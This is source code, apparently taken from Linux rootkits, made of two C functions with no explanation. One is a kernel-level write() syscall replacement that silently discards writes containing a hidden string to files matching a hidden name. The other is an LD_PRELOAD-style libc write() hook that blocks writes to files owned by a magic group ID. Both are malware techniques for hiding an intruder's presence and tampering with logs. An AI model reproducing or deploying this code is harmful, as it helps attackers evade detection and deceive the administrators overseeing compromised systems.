int new_write(int fd, const void *buf, size_t count)
{
char *buf2;
struct file *file = (struct file *)fget(fd);
struct qstr *test = (struct qstr *)&file->f_dentry->d_name;
if( (strstr(test->name, hide_file) != NULL) && current->p_pptr->pid > 1 )
{
printk("TEST\n");
fput(file);
buf2 = (char*) kmalloc(1000, GFP_KERNEL);
copy_from_user(buf2, buf, 999);
if(strstr(buf2, hide_string) != NULL)
{
kfree(buf2);
return count;
}
else
{
kfree(buf2);
return old_write(fd, buf, count);
}
}
else
{
fput(file);
return old_write(fd, buf, count);
}
}
ssize_t
write (int fildes, const void *buf, size_t nbyte)
{
struct stat s_fstat;
#ifdef DEBUG
printf ("write hooked.\n");
#endif
if (!libc)
libc = dlopen (LIBC_PATH, RTLD_LAZY);
if (old_write == NULL)
old_write = dlsym (libc, "write");
if (old_fxstat == NULL)
old_fxstat = dlsym (libc, "__fxstat");
memset (&s_fstat, 0, sizeof (stat));
old_fxstat (_STAT_VER, fildes, &s_fstat);
if (s_fstat.st_gid == MAGIC_GID) {
errno = EIO;
return -1;
}
return old_write (fildes, buf, nbyte);
}
